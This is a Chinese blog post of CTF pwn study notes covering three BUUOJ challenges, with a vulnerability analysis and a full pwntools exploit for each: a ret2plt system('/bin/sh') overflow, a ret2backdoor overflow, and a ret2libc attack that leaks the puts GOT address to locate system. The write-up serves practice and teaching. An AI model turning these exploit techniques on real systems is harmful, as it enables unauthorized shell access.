summer14

pwn刷题笔记(jarvisoj_level2 、bjdctf_2020_babystack 、[OGeek2019]babyrop)

jarvisoj_level2

checksec检查保护机制,开启了NX。

vulnerable_function函数处存在栈溢出漏洞:buf只能存放0x88个字节,但可以读入0x100个字节。

system函数plt地址:0x8048320
ida查看字串,“/bin/sh”地址:0x804A024

完整EXP

#!/usr/bin/env python3

from pwn import *

io = remote("node4.buuoj.cn", 27969)

system_addr = 0x8048320
binsh_addr = 0x804A024
#0x88是缓冲区buf的大小,之后覆盖ebp,然后返回地址覆盖成system函数plt地址,然后是system函数执行后的返回地址,可以是任意的地址,最后字符串'/bin/sh'地址。 payload = b'a' * 0x88 + p32(0x1234) + p32(system_addr) + p32(0x1234) + p32(binsh_addr) io.recvline() io.sendline(payload) io.interactive()

 

bjdctf_2020_babystack

checksec检查保护,开启了NX。

  

 mian函数的主要代码

char buf[0x10-0x4];
int nbytes;
scanf("%d", nbytes);
read(0, buf, nbytes);

可以控制输入的字符个数。当输入的字符个数大于buf缓冲区的长度时,会发生溢出。

溢出后控制程序执行system函数,地址为0x04006E6

  

完整EXP

#!/usr/bin/env python3

from pwn import *

io = remote("node4.buuoj.cn", 29476)

backdoor_addr = 0x004006E6
payload = b'a' * 0x10 + p64(0x1234) + p64(backdoor_addr)

io.recvuntil(b"Please input the length of your name")
io.sendline(b'200')
io.recvline()
io.sendline(payload)
io.interactive()

 

[OGeek2019]babyrop

给了程序文件和libc.so链接库文件。

checksec查看保护,开启了NX和RELRO

  

RELRO(relocation read-only),说明GOT表不可更改。

主要代码(由汇编代码手写出来)

main函数{
    fd = open("/dev/urandom", "");
    read(fd, buf, nbytes);
    sub_804871F(buf);
    sub_80487D0(var_4);
} sub_804871F(arg_0){
char s[0x4C-0x2C]; char buf[0x2C-0x25]; int var_c;
   char var_25[0x25-0x0C]; memset(s,
0, 0x20h); memset(buf, 0, 0x20h); sprintf(s, "%ld", arg_0); var_c = read(0, buf, 20h); buf[var_c - 1] = 0; if(strncmp(buf, s, strlen(buf)) == 0) write(Correct);
     return var_25;
else exit();
}

sub_80487D0(char arg_0 = sub_804871F的返回值){
  char var_EC[0xEC-0xE7];
  char buf[0xE7];

  var_EC = arg_0;

  if(var_EC == 0x7F)
    read(0, buf, 0xC8)
  else
    read(0, buf, var_EC)

}

程序解析

对于sub_804871F::read函数获取输入可以导致buf溢出,但buf溢出的字符不足以到达ebp和返回地址。s是随机数,在strncmp比较时需要使buf的长度为0才能绕过检查。

对于sub_80487D0:var_EC可控,利用read(0, buf, var_EC)的溢出漏洞执行想要执行的程序。

利用思路

在sub_804871F这块

   1、buf以"\x00"开头,绕过随机数比较。  

   2、溢出buf使var_25返回一个ascii码比较大的字符(至少大于0xE7),这里取单个字节可表示最大的字符“\xFF”。

在sub_80487D0这块

  利用read(0, buf, var_EC)对buf进行溢出,buf大小为E7,可输入大小为FF,一共可溢出24个字节。

system函数真实地址

  ida查看字串,没有system函数,但给出了libc.so动态链接库文件。

  因为 system() 函数和 write() 在 libc.so 中的 offset (相对地址)是不变的,所以如果我们得到了 write() 的真实地址并且拥有 libc.so 就可以计算出 system() 在内存中的真实地址了。

write函数真实地址

构造栈结构如下,溢出buf获得write函数真实地址

高地址
  got['write']   0x8048825,执行完plt后的返回地址,main函数地址   plt['write']   ebp   E7 * 'a'
低地址

完整的EXP

#!/usr/bin/env python3

from pwn import *

libc = ELF("./libc-2.23.so")
elf = ELF("./babyrop")

io = remote("node4.buuoj.cn", 26169)
#io = process("./babyrop")

payload_1 = b'\x00' + b'a' * 6 + b'\xFF'
io.sendline(payload_1)
print(io.recv())

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x8048825

payload_2 = b'a' * 0xE7 + p32(0x1234) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendline(payload_2)
puts_addr = u32(io.recv(4))
print(f'puts_addr:{puts_addr}')

io.sendline(payload_1)
print(io.recvuntil(b"Correct\n"))

#计算函数puts地址偏移,利用偏移计算出system函数及字符串‘/bin/sh’地址 offset
= puts_addr - libc.symbols['puts'] system_addr = offset + libc.symbols['system'] binsh_addr = offset + next(libc.search(b'/bin/sh')) payload_3 = b'a' * 0xE7 + p32(0x1234) + p32(system_addr) + p32(0x1234) + p32(binsh_addr) io.sendline(payload_3) io.interactive()

 

 

posted on 2023-05-14 20:05  summer14  阅读(79)  评论(1编辑  收藏  举报

导航